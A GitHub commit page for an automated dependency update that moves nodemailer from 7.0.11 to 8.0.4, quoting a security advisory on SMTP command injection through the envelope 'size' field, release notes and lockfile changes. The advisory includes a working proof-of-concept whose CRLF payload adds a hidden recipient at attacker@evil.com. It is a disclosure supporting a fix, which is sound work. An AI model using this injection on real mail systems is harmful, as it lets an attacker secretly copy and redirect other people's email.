Skip to content

Commit e1acb74

Browse files
fix(deps): update dependency nodemailer to v8 [security] (#218)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [nodemailer](https://nodemailer.com/) ([source](https://redirect.github.com/nodemailer/nodemailer)) | [`7.0.11` → `8.0.4`](https://renovatebot.com/diffs/npm/nodemailer/7.0.11/8.0.4) | ![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/8.0.4?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/7.0.11/8.0.4?slim=true) | ### GitHub Vulnerability Alerts #### [GHSA-c7w3-x93f-qmm8](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8) ### Summary When a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\r\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails. ### Details In `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization: ```javascript if (this._envelope.size && this._supportedExtensions.includes('SIZE')) { args.push('SIZE=' + this._envelope.size); } ``` This contrasts with other envelope parameters in the same function that ARE properly sanitized: - **Addresses** (`from`, `to`): validated for `[\r\n<>]` at lines 1107-1127 - **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183 The `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim: ```javascript const standardFields = ['to', 'cc', 'bcc', 'from']; Object.keys(envelope).forEach(key => { if (!standardFields.includes(key)) { this._envelope[key] = envelope[key]; } }); ``` Since `_sendCommand()` writes the command string followed by `\r\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command. Note: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. While this limits the attack surface, applications that expose envelope configuration to users are affected. ### PoC ave the following as `poc.js` and run with `node poc.js`: ```javascript const net = require('net'); const nodemailer = require('nodemailer'); // Minimal SMTP server that logs raw commands const server = net.createServer(socket => { socket.write('220 localhost ESMTP\r\n'); let buffer = ''; socket.on('data', chunk => { buffer += chunk.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('C:', line); if (line.startsWith('EHLO')) { socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n'); } else if (line.startsWith('MAIL FROM')) { socket.write('250 OK\r\n'); } else if (line.startsWith('RCPT TO')) { socket.write('250 OK\r\n'); } else if (line === 'DATA') { socket.write('354 Start\r\n'); } else if (line === '.') { socket.write('250 OK\r\n'); } else if (line.startsWith('QUIT')) { socket.write('221 Bye\r\n'); socket.end(); } } }); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log('SMTP server on port', port); console.log('Sending email with injected RCPT TO...\n'); const transporter = nodemailer.createTransport({ host: '127.0.0.1', port, secure: false, tls: { rejectUnauthorized: false }, }); transporter.sendMail({ from: 'sender@example.com', to: 'recipient@example.com', subject: 'Normal email', text: 'This is a normal email.', envelope: { from: 'sender@example.com', to: ['recipient@example.com'], size: '100\r\nRCPT TO:<attacker@evil.com>', }, }, (err) => { if (err) console.error('Error:', err.message); console.log('\nExpected output above:'); console.log(' C: MAIL FROM:<sender@example.com> SIZE=100'); console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED'); console.log(' C: RCPT TO:<recipient@example.com>'); server.close(); transporter.close(); }); }); ``` **Expected output:** ``` SMTP server on port 12345 Sending email with injected RCPT TO... C: EHLO [127.0.0.1] C: MAIL FROM:<sender@example.com> SIZE=100 C: RCPT TO:<attacker@evil.com> C: RCPT TO:<recipient@example.com> C: DATA ... C: . C: QUIT ``` The `RCPT TO:<attacker@evil.com>` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email. ### Impact This is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can: - **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport - **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server) - **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery The severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable. Affected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported. --- ### Release Notes <details> <summary>nodemailer/nodemailer (nodemailer)</summary> ### [`v8.0.4`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#804-2026-03-25) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v8.0.3...v8.0.4) ##### Bug Fixes - sanitize envelope size to prevent SMTP command injection ([2d7b971](https://redirect.github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651)) ### [`v8.0.3`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#803-2026-03-18) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v8.0.2...v8.0.3) ##### Bug Fixes - clean up addressparser and fix group name fallback producing undefined ([9d55877](https://redirect.github.com/nodemailer/nodemailer/commit/9d55877f8ed15a6aefd7ba76cbb6b6a6cdbcc4fd)) - fix cookie bugs, remove dead code, and improve hot-path efficiency ([e8c8b92](https://redirect.github.com/nodemailer/nodemailer/commit/e8c8b92f46f2a82d06d49cc9a6ffc26067f68524)) - refactor smtp-connection for clarity and add Node.js 6 syntax compat test ([c5b48ea](https://redirect.github.com/nodemailer/nodemailer/commit/c5b48ea61c28eabf347972f4198a12cdab226ff7)) - remove familySupportCache that broke DNS resolution tests ([c803d90](https://redirect.github.com/nodemailer/nodemailer/commit/c803d901f195a21edbb2c276b2e116564467aaaa)) ### [`v8.0.2`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#802-2026-03-09) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v8.0.1...v8.0.2) ##### Bug Fixes - merge fragmented display names with unquoted commas in addressparser ([fe27f7f](https://redirect.github.com/nodemailer/nodemailer/commit/fe27f7fd57f7587d897274438da2f628ad0ad7d9)) ### [`v8.0.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#801-2026-02-07) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v8.0.0...v8.0.1) ##### Bug Fixes - absorb TLS errors during socket teardown ([7f8dde4](https://redirect.github.com/nodemailer/nodemailer/commit/7f8dde41438c66b8311e888fa5f8c518fcaba6f1)) - absorb TLS errors during socket teardown ([381f628](https://redirect.github.com/nodemailer/nodemailer/commit/381f628d55e62bb3131bd2a452fa1ce00bc48aea)) - Add Gmail Workspace service configuration ([#&#8203;1787](https://redirect.github.com/nodemailer/nodemailer/issues/1787)) ([dc97ede](https://redirect.github.com/nodemailer/nodemailer/commit/dc97ede417b3030b311771541b1f17f5ca76bcbf)) ### [`v8.0.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#800-2026-02-04) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.13...v8.0.0) ##### ⚠ BREAKING CHANGES - Error code 'NoAuth' renamed to 'ENOAUTH' ##### Bug Fixes - add connection fallback to alternative DNS addresses ([e726d6f](https://redirect.github.com/nodemailer/nodemailer/commit/e726d6f44aa7ca14e943d4303243cb5494b09c75)) - centralize and standardize error codes ([45062ce](https://redirect.github.com/nodemailer/nodemailer/commit/45062ce7a4705f3e63c5d9e606547f4d99fd29b5)) - harden DNS fallback against race conditions and cleanup issues ([4fa3c63](https://redirect.github.com/nodemailer/nodemailer/commit/4fa3c63a1f36aefdbaea7f57a133adc458413a47)) - improve socket cleanup to prevent potential memory leaks ([6069fdc](https://redirect.github.com/nodemailer/nodemailer/commit/6069fdcff68a3eef9a9bb16b2bf5ddb924c02091)) ### [`v7.0.13`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7013-2026-01-27) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.12...v7.0.13) ##### Bug Fixes - downgrade transient connection error logs to warn level ([4c041db](https://redirect.github.com/nodemailer/nodemailer/commit/4c041db85d560e98bc5e1fd5d5a191835c5b7d2f)) ### [`v7.0.12`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7012-2025-12-22) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.11...v7.0.12) ##### Bug Fixes - added support for REQUIRETLS ([#&#8203;1793](https://redirect.github.com/nodemailer/nodemailer/issues/1793)) ([053ce6a](https://redirect.github.com/nodemailer/nodemailer/commit/053ce6a772a7c608e6bee7f58ebe9900afbd9b84)) - use 8bit encoding for message/rfc822 attachments ([adf8611](https://redirect.github.com/nodemailer/nodemailer/commit/adf86113217b23ff3cd1191af5cd1d360fcc313b)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone America/Toronto, Automerge - Between 12:00 AM and 03:59 AM, on day 1 of the month ( * 0-3 1 * * ) in timezone America/Toronto. 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/kunalnagarco/action-cve). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMDAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjEwMC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJDVkUiXX0=--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
1 parent 2b395cd commit e1acb74

2 files changed

Lines changed: 6 additions & 6 deletions

File tree

package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,7 @@
5353
"@slack/types": "2.12.0",
5454
"@slack/webhook": "7.0.6",
5555
"adaptivecards": "3.0.5",
56-
"nodemailer": "7.0.11"
56+
"nodemailer": "8.0.4"
5757
},
5858
"devDependencies": {
5959
"@kunalnagarco/eslint-config": "2.2.0",

yarn.lock

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -871,7 +871,7 @@ __metadata:
871871
husky: "npm:9.1.7"
872872
jest: "npm:29.7.0"
873873
lint-staged: "npm:15.5.2"
874-
nodemailer: "npm:7.0.11"
874+
nodemailer: "npm:8.0.4"
875875
prettier: "npm:3.7.3"
876876
semantic-release: "npm:23.1.1"
877877
sort-package-json: "npm:2.10.0"
@@ -7458,10 +7458,10 @@ __metadata:
74587458
languageName: node
74597459
linkType: hard
74607460

7461-
"nodemailer@npm:7.0.11":
7462-
version: 7.0.11
7463-
resolution: "nodemailer@npm:7.0.11"
7464-
checksum: 10c0/208f108fdb4c5dd0e3a2f013578d53dad505cf1b9c7a084f6d22fc9d6f3912daafb4a23793ca568ff848afc35f15f4eb24382d3f6f9fb8ede4a8410d4ca63618
7461+
"nodemailer@npm:8.0.4":
7462+
version: 8.0.4
7463+
resolution: "nodemailer@npm:8.0.4"
7464+
checksum: 10c0/5fb6fa72645b541c18b84b861de46f4740449e1d7c987b4d9ef715d815d613f93262225bc319e217df6215d6f123efadb9a412dcf937fe0a41cbecf279dfb2a0
74657465
languageName: node
74667466
linkType: hard
74677467

0 commit comments

Comments
 (0)